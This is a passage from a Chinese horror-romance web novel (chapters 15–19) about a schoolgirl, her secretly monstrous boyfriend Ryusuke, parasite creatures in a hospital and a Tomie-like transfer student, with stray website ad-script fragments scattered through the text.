我一愣,然后看向他,意识到这是他接过了我的台阶,心下一喜。 然后火速挪着小板凳回到床边。 “那就说好咯!等寒假就去龙介的老家玩吧~” “...龙介可以教我做今天的物理题吗?” “…我不会。” 他的表情有一瞬间的皲裂,语气沉得可怕。 原来是因为这个… “呵呵,我连课都没去上。”他提醒道。 她当他是什么? 全自动人形作业辅导机? 我这才反应过来,对哦,龙介这两天都没去学校,落下了蛮多新课的,今天的物理作业考得都是新单元的知识点,龙介不会做也是正常… 我也不再坚持,便说:“那好吧…明天我去问一下别的同学好了。” “……” 只是为什么龙介看上去好像更不开心了呢? * 现在已经是深夜,偌大的病房里除了桥本雅奈之外没有其他人,安静得仿佛只有她自己一个人的呼吸声。 这是她死缠烂打医院才换来的单人病房。 虽然是单人,但其实是一间空置的六人女病房,因为设施老旧需要时间更换,故而被医院空置下来。桥本的床位在最里面的角落。 病房没有开灯,或者说,桥本雅奈是刻意将所有的灯都关掉,好营造一种这个病房还是一如既往没有住的假象来迷惑外面的人。 她裹紧被子,将自己尽可能地缩成一小团瑟缩着,双眼充血死死地盯着门口。 被安排在这个新病房之后,她就偷偷买了锁,悄悄从门后面将病房门锁起来,以获得一丁点微不足道的安全感。 可是还不够…这样是不够的…那些怪物…这把锁完全没办法挡住它们…… 为什么要盯上她? 明明她只是个平平无奇,什么坏事都没干的普通人… 三天前,桥本雅奈开车的时候,因为躲避路上突然窜出来的小动物而撞到了路边的电线杆,人虽然没有性命之忧,但手臂骨折,身上还有多处的软组织挫伤而不得不住院观察一周。 然后她被安排到了那个六人病房中。 病房没有住满,除了她是新病人之外,还有四个原本就在这里住院的女病人。 那四位女性都对她非常热情,也很照顾她,曾经有一度桥本以为自己只是幸运遇见了非常好相处的病友。 可是渐渐地,她发现事情并不简单。 比如说,她的四位病友总是基本同出同进同吃,做什么都要一起做,一开始她还相信她们的解释说她们只是非常要好,喜欢什么事都一起做。 可事情后面的发展逐渐变得不对劲起来,她总是感觉脸上刺刺的,就好像这个病房里存在某种看不见的东西用尖刺在刺挠她的皮肤一样。 不仅如此,她深夜失眠的时候,总是能听见那四位病友的梦话,四人分别躺在自己的床上,却说着相同的梦话—— “好漂亮的花园啊…快看那朵黄色的花,好漂亮!” “我摘了很多,可以用来编成好看的花环…帮我摘一些红色的花吧…” “快看!是蝴蝶!停在我的手上了……诶?你别动啊…” “好美丽的花园……这个梦可以做久一点吗?” “当然可以……” …… 桥本越听越觉得诡异,甚至不自觉地起了一身鸡皮疙瘩。先不说四个人同时做同一个梦的可能性有低,她们四人,就算是梦话也是连贯的,就好像她们在同一个梦中相互对话一样。 昏暗的病房中,四人都平静地躺在各自的床上,相互讲着梦话,诡异中带着山雨欲来的平静感,好像下一瞬间,她们就会集体从床上弹起来打破这层伪装的平静。 所以桥本雅奈整整一晚上都没敢合上双眼。 熬夜让她皮肤的刺挠感越发的强烈,加上恐惧的情绪让她的精神状态变得越发糟糕。 终于等到她们四个一起离开病房去找医生做检查的空隙,桥本雅奈才终于得到喘息的机会,确认她们完全离开并且会在一段时间内回不来的时候,她终于肯放下沉重的眼皮沉沉地睡去。 可是睡梦中,她感觉那种刺挠的感觉越发地强烈,她眼皮仍然非常沉重没有睁开,只是用手胡乱拨了几下脸颊。 …然后摸到了几根柔软的、滑溜溜的长条状物体。 那种滑滑的触感说不上来的恶心诡异,半梦半醒之间她缓缓睁开双眼,入目的场景此生难忘—— (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她那四个诡异的室友正围在她的病床前,四双黝黑的眼睛宛若黑洞一般死死地盯着她,仿佛要将她整个人吸进去一般。 而那些滑腻腻来源… 数十根如同蛇一般的东西从她们的嘴里伸出来,它们如同白色的蛔虫一般交缠着、蠕动着,从一个人的嘴巴里伸出然后探入另一个人的嘴里,四人之间难分彼此,还有一小部分的末端裸露在外,上面带着小刀一般的尖刺。 而那些尖刺有的在戳她的脸颊,有的正试图伸进她的嘴巴当中。 桥本雅奈吓得大惊失色,脑子一个激灵身体已经条件发射,意外地推开了她们,然后几乎是连滚带爬跑出了病房…… ……现在仔细想来,那些像蛇一样从她们口中延伸出来、又彼此相互连接的东西,搞不好就像是神经一样连接着她们彼此……如此一来,那些诡异的梦话,同进同出连说话方式就可以解释了…这四个女人是一体共享神经感官的怪物! 如果那些尖刺真的伸进了她的嘴巴里…她是不是也会变成和它们一样的怪物? 桥本雅奈越想越觉得可怕。 恐惧将她的感官无限放大,在她耳朵里,就连自己的呼吸声中都好像掺杂了别的什么不一样的声音,阴森可怕。 ‘咔哒、咔哒、咔哒……’ 走廊中传来清晰的脚步声,整齐的,就连落脚的力度发出的频率都是一样的。 桥本雅奈害怕地捂住了自己的口鼻,就连呼吸都不敢。 她知道,它们找上门来了。 它们停在了桥本雅奈的病房门前。走廊的灯光将它们的身影放大投射在室内昏暗的墙上,四个女性头颅上长满了如同蛇一般带着尖刺的触角,正在空中张牙舞爪地寻找着自己的猎物。 她吓得缩进了被子里。 ……拜托了谁都好救救她吧!! 为什么是她?为什为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么…… 然后那四人似乎只是为了故意恐吓她一般,在门前伫立了片刻,似乎已经品尝够了她无助的绝望和疯狂的恐惧后,便已经心满意足。 知道她们秘密的人,要么成为她们的一份子,要么就是死。 但现在桥本雅奈并不是最急的…… 她们还有更急切的猎物。 好想…好想要得到那个人…… “咔哒、咔哒、咔哒——” 脚步声再次回荡在寂静的走廊中,前往它们最终的目的所在。 * …… 白石冬花睡着了,脑袋枕在几乎没动过的物理试卷上,脸颊上的肉挤在卷面,看上去软软的,很好捏的样子。 黑发少年看了一会,随即感知到走廊上的动静,令人讨厌的气息越发逼近。 漆黑的眼眸微眯,随后转变成纯白,散发着诡异和危险的气息,像是捕猎手一样紧盯着那扇门,等待着不知死活的猎物上门。 忽而,门缝底下无端地飘起了白雾,很快就蔓延至整个病房的地板。 室内的灯光忽闪忽灭,随即彻底陷入一片黑暗。 啧。 真是心急。 纯白的双眸在黑暗中散发着森然的荧光,玩味地盯着熟睡中一无所知的少女。 就算自己不主动去招惹危险,危险也像鬣狗一样寻着味道找上门来。 白石冬花,真的好可怜… 16.第十六章 桥本雅奈猜测的没错,那些从嘴巴里伸出来如同蛇一般的东西就是连接它们四具身体的桥梁,是神经一样的存在。它最开始只寄生在一个人的身上,慢慢等待时机成熟壮大,然后将宿主最亲近的朋友也转成它的一部分。 然后它拥有了两个身体。 它不需要人类的食物,但人类的身体需要养分,所以它理所当然地住进了医院,假借厌食症的名义让医院每天给它打营养液,好维持身体的机能。 于是它又在医院吸纳了两具自己看得过去的躯壳,最终组成了现在所见的、一个四位一体的躯壳。 但还不够完美。 如果能拥有那个女孩的躯壳……那么即便是让它舍弃掉这四具辛苦得来的也没有所谓…… 好想要得到她—— 它停住脚步,四双没有瞳孔的眼白打量着挡在门前的家伙,表情似乎有些疑惑。 * 白衣少年站前方,诡谲的雾气在他周身翻涌,蔓延至整个走廊。 他神色不善,警惕地看着它,沉声警告道:“离这里远点。” 它当然能感应到,面前的人…准确来说,面前的家伙是和它相似的存在。 原来那女孩已经被别的东西先盯上了…… 然而它们这样的东西,只要一旦盯上某个心水的猎物,就会像水蛭贴上新鲜的血肉一样死死黏住不撒手,更何况面前这家伙的气息纯净得不像话,这样的气息它几乎只在新生儿身上见过…完全不足为惧。 它总会把一切障碍都扫清的。 所以它并没有把白衣少年的话放在眼里,在它们这样的怪物的世界里,实力为尊,弱者就活该被强者剥削。 只要杀了他,那个女孩毫无疑问就是它的了…… “...好想要…真的好想要…给我吧…把她、把她给我吧!” 它的触须在空中舞动着,眼里闪过疯狂又兴奋的光芒。 完全没办法沟通的怪物…… 白衣少年敛去眼底的暗光,随后手中就出现了一把美工刀,倒不是对美工刀有什么特殊情结,只是用起来感觉更顺手而已。 刀节发出‘嘎嘎嘎’的声响,在这个寂静的走廊里显得阴森骇人。 “那你就去死吧,怪物。” “嘎嘎嘎——” 它发出渗人的怪笑,那些如同蛔虫般恶心的触须猛地伸长,率先发动了对他的攻击,它想要勒死他。它有很多种能够快速弄死他的方式,可它偏偏选择了效率最低的一种,用那些触须勒死他,让他缓慢地在痛苦死去… 可白衣少年手起刀落,毫不犹豫地将连接它躯壳的桥梁切断,一具身体应声倒下,然后迅速地枯萎了无生气。 然后是第二具…… 怪物骇然,他知道它的弱点! 刚才还存着恶心戏耍猎物的想法荡然无存,愤怒让它脸上的表情越发地扭曲,在白衣少年闪神的瞬间,触须上锋利的尖刀刺出,白衣少年有点躲闪不及,没有完全雾化的身体结结实实地挨了几刀。 瞬间发出了痛苦的闷哼。 虽然不太熟练,但他还是凭借和白雾融为一体的优势,在浓郁得伸手不见五指的雾气中,迅速将它剩余的躯壳切断连结。 失去活动躯壳的怪物瞬间沦为刀板上的鱼肉,任人宰割。 但它还是充满恶意地盯着面前的白衣少年,它说:“哈哈哈,我说我是怪物,那你是什么?” “……” 少年鲜红的嘴唇紧抿着,不发一言地用美工刀将它最后一具躯壳的心脏刺穿。 四具没有生气的尸体像是枯萎的植物,片刻就变得枯瘦如柴,好像几垛废弃的木柴叠在一起。浓雾渐渐散去,白衣少年的身形似乎也随着这雾气的消散而变得越发地透明、不可捉摸。 病房的门不知何时被悄然打开了一条缝隙。 * 太年轻了!到底是太年轻了! 没有底蕴!也不会思考怪物的险恶用心!像它们这样的存在,怎么可能不会给自己留一个后手?! 它的本体根本没有存放在宿主的心脏处,而是躲在宿主的胃部内。 趁少年盯着那四具垃圾的瞬间,它的本体已经悄然脱离宿主,本体是一团缠绕成一个圆球状的虫体,依靠着伸出来的触须摆动而前行,借着剩余的雾气偷偷溜进病房。 它能闻见女孩的气息就在里面,少了那四具躯壳又如何? 只要它能够掌握女孩那具美好的躯壳……一切的牺牲都是值得….的? “咔滋——” 利刃刺穿皮肉的瞬间,浓稠的黑色液体喷涌而出,发出一阵难以言喻的腐烂恶臭。 它没有人类的眼睛,但感官所感知到的是一个黑发少年,唇红齿白,脸容瑰丽跟外面的少年如出一辙,只是气质截然不同,身上的恶意已经浓郁的能够凝结成黑气,不断地朝外扩张。只一眼,就能感到迎面而来的压力,压得它几乎喘不过气来。 如果它有人类的呼吸器官的话…… 原来不是一个,是两个怪物吗? 而里面的这个,等级和实力都远在它之外,是因为实力太强悍了所以它从一开始完全没有探查到对方的缘故吗…早知道就应该再多谋划… “对不……啊!!!” 它预备求饶的声音被迫中断,少年干脆利落将插在它身上的水果刀拔起,然后一刀又一刀,直到面前这团东西彻底化成一滩黑水才罢手。 “啧,脏死了。” 他语气带着淡淡的嫌弃,然后随手将水果刀扔进了垃圾桶。 再次抬眸看向门口处,白衣少年冷清浅淡的身影出现在那里,黑色的粘液将他雪白的上衣染成暗色,黑色的碎发下,那双黑眸的光芒明明灭灭,随后归于死寂。 黑衣饶有兴致地欣赏着自己的宿敌这种完全称得上是灰头土脸的样子,心情大好。 鲜红的嘴唇悄然勾起弧度,残忍地击溃他最后一道防线。 他说:“欢迎来到怪物的世界。” 白衣少年没有说话,只是盯着床上酣睡真香的少女。她全然不知道刚才的一切危险,也不知道自己身边隐藏着的更大的危险,正在伺机而动随时随地准备将她拖进深渊。 ……只为了报复他。 “...不感谢我吗?如果不是我的话,她早就变成怪物的傀儡了…你做事不干不净,拿什么跟我斗?想杀了我吗?你还差的太远了…光是对付刚才那种垃圾,你的力量就差不多用完了吧…还能出现在这里大概也就是你拼命地吊着那口气吧…真可怜…” 他略带遗憾地说着,顽劣的双眸微眯,然后伸出手。他的手指变得细长,尖锐的黑色指甲轻轻划过少女白皙娇嫩的皮肤,仿佛下一秒就会化作利刃将她的皮肤划穿。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “要我帮你叫醒她吗?然后…再告诉她,她心爱的‘深田龙介’已经变成了一个…可怕的怪物…你想这样做吗?” 白衣的拳头悄然握紧,“你要怎么样才肯放过冬花?她是无辜的…她不该卷入这一切……” “没有人是无辜的。” 他却冷声道,随后又恶意满满地开口, “放过她的话…不如你在我面前再死个百来次,或许我会考虑一下?” “……” 这是完全没有交涉的余地了。 白衣也不废话,漆黑的瞳孔瞬间散开,褪色成一片纯白,挥舞着手中的美工刀就往黑衣面前冲,打算和对方同归于尽。结果就是在半米之外的距离就消散成一片轻飘飘的雾气。 “啧啧,都说了,你还远着呢……” 深田龙介已经在那次的集体自杀事件中宣布死亡,现在的白衣少年是和他如出一辙的存在,本源相同,理论上白衣也很强。 但他拒绝了自己的本源,不肯承认自己早就成为了跟他一样的存在,所以只能沦为自我厌弃的废物。 活该。 “真可怜啊……” 黑色的指尖戳了戳少女的脸颊。 太阳此时越过了地平线,散发出橘红一般火烧的光辉,斜斜地投入窗户,恰巧落在她的睫毛上。 扑棱扑棱地动了两下,雾灰色的双眸裹挟着朦胧的水汽和睡意,似乎还搞不太清楚状况。 她睁眼的一瞬间,少年几乎是本能地将自己的黑色指甲藏了回去。 * …我好像做了个梦。 梦里好像出现了两个龙介,一黑一白互扯头花,然后还有一个龙介有着黑色的长指甲,好像恐怖片一样。 等下,刚才脸颊是不是有东西真的在戳我?! 我一个鲤鱼打挺从床上起来,睡意全无,然后抓起龙介的手,反复观摩。 少年的手白皙修长,淡粉色的指甲盖整齐干净,有点长但也不算太长,还在可以接受的范围内。 手是很好看的手。 也没有黑色的恐怖长指甲…… 我顿时松了一口气,“吓死了,刚我还以为龙介你长出黑色的长指甲,就像贞子那种……” “……” 才不像贞子那种东西…… “不过,龙介,是时候该剪指甲了哦!” 见他沉着脸不说话,我便开始科普起来,“指甲要是留太长的话,很容易藏污纳垢,会很脏哦,而且手又是经常和食物接触比较多的部位,都说病从口入……” 天亮了,鸟儿又开始吱吱喳喳地吵起来了。 很烦。 要不还是早点捏死算了。 在少女看不见的位置,另一只手的黑色指甲悄然长出,正跃跃欲试着准备品尝她的鲜血。 我全然没有察觉这些隐秘的危机,余光不经意地一瞥就看见桌子上放着的物理试卷。 糟糕!昨天写着写着睡过去了…… 只是,为什么这张试卷…… 我的声音顿住,然后不敢置信地抄起物理试卷,上面的题目已经写好,甚至贴心地附上了解题思路供我参考。 “天啊!我的物理试卷!龙介你居然帮我全部写完了吗?!太爱你了!!!” “……” 算了。 再留一段时间吧。 17.第十七章 因为在医院不方便洗漱的缘故,我一般都是提早离开医院,然后先回一趟家里洗漱好再出发去学校。 清晨的医院有点过分冷清,虽然平时也是没什么人,但今天好像都萦绕这一种紧张严肃的氛围。 走过值班台的时候,护士姐姐叫住了我,神色有些紧张地问:“白石小姐,请问你…昨晚上有见过106号病房的那几位病人吗?” “今天一早去巡房的时候,四个人都同时不见了……问遍了其他病人和护士医生,都说没看见……” 106号病房? 龙介的病房是走廊的尽头是112号病房,往前推的话……我忽然想到那四个总是诡异地同步的女病人。 说实话,我不喜欢惹这种麻烦,加上那四个女病人给我的感觉非常糟糕,而且昨天只是透过病房的门偷偷瞄了一眼,和当时护士见到的应该是一样的,我并不比她知道的多多少。 所以我摇了摇头,老实回答:“没有见过诶…是发生了什么事吗?” 她一副讳莫如深的样子,只是用‘没什么特别重要的事情’便打发掉了我。 可我还没走远,还能听见她在身后和其他护士的对话—— “好奇怪…监控竟然什么都没拍到…可是人确实又是消失在病房里了,到底发生了什么啊…好奇怪,不过走了也好,自从那四个人赖在医院之后,整个医院的氛围都变得古怪起来了…她们四个人还吓跑了不少的病人呢…” “说是这样说,可是北田医生也联系不上了…” “诶,北田医生吗?他好像昨天看完112号房的病人之后,就神色匆匆地跟主任请假了…说起来确实很奇怪,北田医生这个工作狂人平时很少会擅离职守……” 北田医生? 不就是龙介的主治医生吗? 我有些诧异地回头看去,刚才还在交谈的护士已经渐行渐远,我便打消了忽然冒出来的念头,快步离开了医院。 * 我父母是非常精实的生意人,买的房子选在交通和各种生活设施非常便利的中心位置,距离医院和学校区都非常近,所以我几乎是步行就能够来回穿梭在这几个地方。 等我慢慢悠悠走到学校门口的时候,龙介不知道什么时候已经换好了校服,正独自站在校门口。我一愣,然后快步走了过去。 他的脸色比刚才看见的还要苍白上不少,在清晨的眼光下几近透明,原本应该合身的校服穿在他身上已经变得有些宽松,整个人修长瘦削的不像话,仿佛风一吹就能倒了似的。 我有点惊讶,明明只是不到半小时的时间,再次见到龙介感觉他整个人非常不一样。 但一时间又说不上哪里不一样。 硬要说的话,面前的龙介好像艺术展览里面应该被好好保护起来的珍贵易碎品,轻轻一碰就碎了似的。 “龙介,你怎么来学校了?你的脸色看上去很糟糕……” 我摸了摸他的手,又用手探了一下他额头的温度,凉的完全不像是活人的温度,心下一惊, “你的体温很低…是不是…” 他却一把抓住了我的手,黑色的眼眸里流淌着我看不透的深沉,压抑得不像话,好片刻他才开口:“...冬花,我没事…我只是体温比较偏低而已……冬花,我有很重要的事想跟你说。” “诶?什么事?” 我觉得有点奇怪,什么事需要龙介特意从医院离开跑来学校跟我说? 话说他是怎么说服医生让他离开医院的? 啊不对…北田医生好像是说不知道上哪里去了吧…… 可见龙介一副眉头紧锁,很是严肃的样子,我也沉默下来,压下了自己有些过分发散的思绪和满肚子的疑惑。 他要跟我说什么? 我看着他,他看着我,大眼瞪大眼好一会儿。 然后是良久的沉默。 “……” 不是、我应该讲点什么打破沉默吗? 终于,他像是做出了什么重大的决定,用一副称得上是视死如归的表情开口:“……冬花,其实……” 然后又是一阵沉默,好像光是说出这几个字就已经将他刚才积攒的全部勇气一次性用了… 我有点摸不着头脑,主动接过他的话试图进行一些引导,“其实???” 他沉吟片刻,嘴唇紧抿得像条线,有些发白。 ……太多话想说但是不知道从何表达起。 他想说其实真正的他已经死在雾之町,想靠在她的身上忏悔自己十年前做的一切,还想告诉她现在待在她身边的并不是真正的他而是为了复仇而来的可怕的怪物,千万不要相信那个怪物说的任何一个字也不要再靠近他…然后黑衣少年昨天的话郝然映入脑海—— 他说:“欢迎来到怪物的世界。” 虽然一直以来有意识地否认着这个事实,原来自己也早就成为了和那个家伙一样的怪物。 一想到冬花也会露出像那些人一样恐惧的表情,用全然陌生的眼神打量自己,惴惴不安、提心吊胆着自己会不会伤害到她…深田龙介…阿不,白衣少年就感到一阵没由来的心痛。 那家伙有一点说得对。 他不敢说出一切的实情。 他想,如果黑衣那家伙消失的话,一切是不是还是可以重新回到正轨? 毕竟在冬花眼里,他从来没有真正死去过…只是因为在雾之町生了一场大病和少女断了联系,并且已经取得少女的原谅。他完全伪装成与正常人无异的样子继续活在冬花的身边。他的冬花善良又纯洁,从来对身边认可的人不设任何的防备也不会轻易抱有怀疑之心,这恰恰又是吸引那些怪物的特质所在,除了自己,他谁都不放心来保护冬花…… 除了他,谁会这样心甘情愿、视死如归地保护少女? ……那片萦绕在他脑海中的浓雾终于悄然拨开,少年终于豁然开朗了这一切。 除了他,谁都不可以、不允许靠近冬花。 原来他想要的是这样。 所以必须…必须要铲除一切所有的障碍! 他只要确保最后站在她身边的,是他自己,就足够了。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 在此之前,他要变的更强…… * 他是要准备跟我说分手吗? 毕竟、他完全就是一副壮士断臂的样子,完全不能怪我想歪好吗…… 我正准备开口追问,他眸中流转着光芒,就好像是长久被关在笼子中的狮子第一次回到属于自己的王国,带着热烈、带着疯狂。 他捧起我的脸,然后在我额头落下冰凉的一吻。 突如其来的冰凉触感让我头皮有些发麻,有种被什么东西盯上的阴森黏糊的错觉。 此时龙介终于开口,带着凉气的吐息落在我的额头上,用如同情人般亲昵的呢喃低语说:“其实...我真的好喜欢好喜欢好喜欢冬花…” 太喜欢了太喜欢了太喜欢了太喜欢了太喜欢了太喜欢了太喜欢了太喜欢了太喜欢了太喜欢了太喜欢了太喜欢了太喜欢了太喜欢了太喜欢了…… 我脸一热,完全没有想到他口中说的重要事情就是忽然对我表白。一开始表白确实是我先的,而龙介平时比较内敛不太常说一些情话,在一起之后像这样近乎直白的宣泄爱意还真的是第一次…以至于我大脑已经开始发热糊成一团。 他松开了我。 我完全不敢看他,火速低头观察自己的脚,但仍然能感觉到那股强烈的视线聚集在头顶。 恰巧此时背后有人远远地喊我打招呼,我便趁机转头去跟别人打招呼,正好可以转移一下注意力思考要怎么应对这种场合。 话说刚才龙介亲我应该没人看见吧……不然好尴尬…… 等我应付好打招呼的同学,并且做好心里建设转头的时候,龙介已经不知所踪了。 后面是教学楼的后门,一般上学的人也很少会从后门走,所以那条路一眼看过去没有任何人。 龙介去了哪里? 我站在原地思考了片刻,最后只能归咎于那家伙虽然表面看上去风轻云淡搞不好也像我一样内心波涛骇浪,因为觉得不好意思所以先偷偷地先走一步…… 什么嘛,原来因为第一次恋爱而感到手忙脚乱不知所措的不止我一个吗? * 我独自走在教学楼内。 不知为什么,今天的教学楼特别的安静,平时总是会三三两两聚集在走廊闲聊的学生今天一个也看不见,长长的走廊一眼看到尽头一个学生都没有。 教学楼是环形的建筑,而我所在的教室需要走到尽头拐弯才能到达。 快要到拐角处的时候,前方传来了交谈声,我不是爱听墙角的人,正准备照常走过去的时候却不经意捕抓到了关键词,鬼使神差地站在转角处。 谈话还在继续,似乎没有注意到我的靠近。 “....我真的真的很喜欢她,一想到要是余生没有办法和川上同学度过我就感到无比的绝望,深田同学,你觉得我的恋情会有结果吗?” 片刻后,走廊的另一边传来了熟悉的低笑声。 “呵呵…” “要我说的话,你的恋情是绝对不会有好下场的。” 这是龙介的声音。 18.第十八章 听见龙介的回答,问问题的同学似乎陷入了片刻的沉默,我正犹豫着要不要趁这个机会现身走过去,好让两人注意到我。 这时龙介走了过来,一转身就看见了拐角后面的我,眼底毫无波澜,仿佛从一开始就察觉到了我的存在。 我立马举手表示无辜:“抱歉…我不是故意偷听的……” 只是刚好走到这里,又刚好听见…所以完全不能怪我啊,再说也不是什么秘密的事情。 只是有点奇怪,为什么他会来问龙介这种问题? “他是龙介的新朋友吗?” 声音听上去非常陌生,不像是以前见过的人…… 我探头探脑,试图越过站在我面前的脸龙介看看到底是谁。 “不是。” 龙介回答得干脆利落,然后非常自然地牵过我的手往前走。 龙介的手还是有点凉,但比刚才已经回温了不少,冰冰凉凉的,正好我有点热,贴上去刚刚好……我不动声色地反握住他的掌心,打算等捂热了失去作用再挣脱他的手。 察觉我的小动作,他低头瞥了我一眼,黑眸像是化不开的浓墨。 我敏锐地感觉他现在似乎不太开心。 “等等,深田同学!你凭什么说我的恋情不会好下场…明明我对富江的爱是那么地真诚…而且富江今天上学的时候还冲我笑了叫我给她准备美味营养的早餐,明明她身边有这么多人…她偏偏把这么重要的事情交给我一个人去做!这就是爱啊!” 那位同学的语气染上了不可理喻、只针对富江的狂热。 …不是哥们,这完全是把你当跑腿兼提款机吧…哪里就是爱了?! 听见这番逆天终极舔狗言论,我越发想转头往后看看到底是哪个天才,结果被龙介强行把头掰了回来。 …什么都没看见… 他语气不善地开口:“别看蠢货,会污染眼睛。” “……” 好想松开他的手装不熟怎么办…这样万一因为乱说话被人追上来打也不至于殃及池鱼… 他反而握着我的手更加用力。而我被他的话镇住不敢搭话,直到完全走远确认对方不会听见我们的话之后,才小声地开口:“龙介,你这样说不好吧…人家只是来咨询一下恋情,你直接劈头盖脸一盆冷水泼上去……” 我自顾自地说着,没有注意到龙介忽然停下了脚步,直接撞上他的半个后背,只是没想到,龙介平时看着瘦瘦削削,好像风一吹就能轻易倒似的,可我这么忽如其来地一撞,那背竟然纹丝不动。 反倒是我撞得鼻子有点吃痛…… 他完全没有要心疼我的意思,反而抬了抬下巴,示意我去看窗外。 我揉着有点发红的鼻子不解地顺着看去,只见这个时间段应该冷冷清清的操场上围满了学生,这下我总算知道平时三三两两该在聊天八卦的人去了哪里了…而在人群的中心正备受瞩目的,正是刚来不久的转学生川上富江。 一大群人,男的女的都围着川上富江在大献殷勤,她只要轻轻抬抬手指,就会立马有不同的人围上去满足她的各种要求。 甚至让人觉得,就算富江要他们摘下天上的星星月亮,今晚东京最高的那栋大厦都会立即挤满了人… 虽然川上同学很美,但见到这样的盛况,我多少还是觉得有点难以置信。 整个画面充满了一种疯狂的感觉。 “...你现在还认为我是在泼他冷水吗?那家伙根本不会喜欢上任何一个人…她只是享受这种成为中心焦点的感觉,颐气指使并且心安理得地向周围的人索取… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …” 少年的声音停顿片刻,眼睛余光全程都在盯着身边少女的他自然注意到了她的目光,正全神贯注地看着人群中被簇拥的川上富江。 他忽然话锋一转,“冬花羡慕吗?如果没有那个女人的出现,这些关注应该都是冬花应得的才对…” 刚好有风从窗台的缝隙中吹动着她脸颊边上的碎发,他便顺手帮她将碎发别回去耳朵后面,少女的耳垂清晰地露在外面,白嫩中透露些许的淡粉,看上去非常好捏的样子。 可手快要碰到她耳垂的时候,他又忽然顿住,察觉到自己多此一举的举动,语气中带着难以察觉的懊恼, “…毕竟、冬花一直都是每个学期学校论坛里评选出来的最受欢迎的女生,上体育课的时候,不少隔壁班的甚至是其他年级的男生都会偷偷关注冬…只是那女人才刚来几天,整个论坛铺天盖地都是对她的讨论,所有人的目光也被她夺走…真可恶啊不是吗?…这些明明都是应该是……” 是你的… 裹着毒药和陷阱的话还没有说完,少女便手舞足蹈地打断了他。 “那个…那个是我们班的物理老师吧?是吧是吧是吧?!太棒了!他们都在下面的话…一节课是不是就不用上了?” 我看了看走廊上的时钟,此时距离第一节课开始还剩十分钟,而下面还是一副非常热闹不会轻易散开的样子, “第一节课就是物理课的说!” “……” 原来她关注的竟然是这个吗? “不过话说回来,龙介你什么时候开始关注校园论坛了…以前我沉迷论坛瓜贴的时候,龙介还说逛这种校园论坛完全是浪费时间呢,搞得我后面都没怎么刷论坛了…诶?龙介,你走这么快做什么?” “……回去上课。” 19.第十九章 然而我的愿望并没有实现,川上同学和她的新追随者们几乎跟我是前后脚回到教室,座位还没坐热呢,他们就如鱼贯水般涌进教室,让原本只有我和乙骨忧太的教室瞬间挤满了人。 我立马就萎了,看来这物理课还是得上…… 距离上课还有几分钟的时间,他们仍然围在川上同学的位置周边疯狂示好。 “富江,学校附件有一家不错的蛋糕店,不如放学后我们一起去吧……” 川上同学:“那种廉价的店有什么好去的…就连奶油都散发着一种穷酸味,光是远远闻见都让我恶心反胃!” “富江富江!那不如跟我去市中心,我带你去高级餐厅吃牛排,我刚好拿到了两张天空旋转餐厅的优惠券!” 川上同学:“那种能用优惠券的地方也能称得上是高级餐厅吗?!你在讲什么笑话啊蠢货?” “富江!那不如跟我去约会吧…我有钱,可以带你去市区最高级的餐厅,是会员制的,而且结束之后我还可以带你兜风…” 川上同学这才多看了那男生一眼,然后又立马嫌恶地开口:“你长得太丑了,简直就是侮辱我的眼睛,跟你站在一起呼吸的空气都变得肮脏起来,你快点滚开!” 然后那男生脸上露出了尴尬的表情,但这种尴尬很快就莫名其妙的喜悦和激动所覆盖,就好像川上同学跟他多说一句话都是对他莫大的恩宠似的。 他被很快就被其他的追求者挤到人群的后面去了。 我直接目瞪口呆。 要是换做别人这样摆在明面上的拜金嫌贫爱富还要口出狂言对人家外貌挑挑拣拣不亚于人身攻击,高低都要被扣上讨人嫌的帽子被狠狠地批判,但偏偏发生在川上同学一切都是这么的顺理成章,关键是她这也太坦荡了吧… 坦坦荡荡地嫌贫爱富,坦坦荡荡地嫌丑爱美,小嘴跟猝了毒似的,也从来不会给别人任何希望和假象…就好像她生来就该如此。 让人完全没有办法真的讨厌起来…难道这就是所谓的人格魅力吗? 最后是物理老师踏着上课铃声进来,才中止了这处闹剧。 然而此时的我还没有意识到,这一切仅仅只是这场混乱的开端。 * 与迷恋、追捧富江的疯狂程度有得一拼,在学校里面莫名其妙就流行起来的,还有走廊拐角算命。 据说是来源于十字路口的占卜游戏,在十字路口处等待碰见的第一个人,就去询问她/他问题,根据对方的回答来判断问题走向好坏。 在学校里因为没有十字路口所以演变成了在走廊的拐角处进行,其他的规则都是一样的。 体育课上同学们说起这件事的时候,我立马就联想到了早上的事情。 原来龙介是被参与了这样的游戏所以我才会听见那段对话吗…… “...美惠子,你是不是也玩了走廊算命这个游戏?我今天好像有看到你在走三楼的走廊处徘徊哦…怎么样怎么样?你碰见的是谁?结果如何?” 同样参加讨论一个女同学有些兴奋又好奇地戳了戳我身边的高桥美惠子,瞬间把其他人的注意力都吸引过来,纷纷七嘴八舌讨论起来。 “真的吗?听上去很有趣的样子诶…搞得我也好想玩哦……” “美惠子快跟我们说说看,你真的玩了那个游戏吗?你问了什么问题啊,是关于恋情的吗?” “美惠子……?” “够了!你们都住嘴!烦死了!” 脾气还不错的高桥美惠子一反常态,素白的脸上写满了烦躁,就连身边的我都不由地吓了一跳。片刻后她又恢复了冷静,语气仍然不太好地开口; “只是刚好去三楼办公室找老师而已…我才不会玩这种无聊的游戏呢…” 完全就是一副被戳穿了恼羞成怒欲盖弥彰的样子。 但面对这样愠怒的美惠子,众人也不好说什么反驳的话,只是纷纷应和她的话。 “是啊…仔细想想确实是无聊的游戏…” “哈哈哈,就是就是!” …… 我全程都没怎么参与讨论,只是课间休息的时候,独自来到了走廊的拐角处。 第一次玩这种占卜算命游戏,我还有点期待和紧张,不过在走廊的拐角处等了大概七八分钟,也没有听见半点动静,我又立马后悔选了这么偏僻的地方。 为了避人耳目,我特意选在了五楼,这里基本都是各个社团的活动室,平时除了放学时间基本不会学生在这里出没。 话说…既然不会有学生出没那我在这里等什么? 等空气吗? 幸好没人发现我做的蠢事,正准备抬脚离开,一拐出去就碰见了龙介。 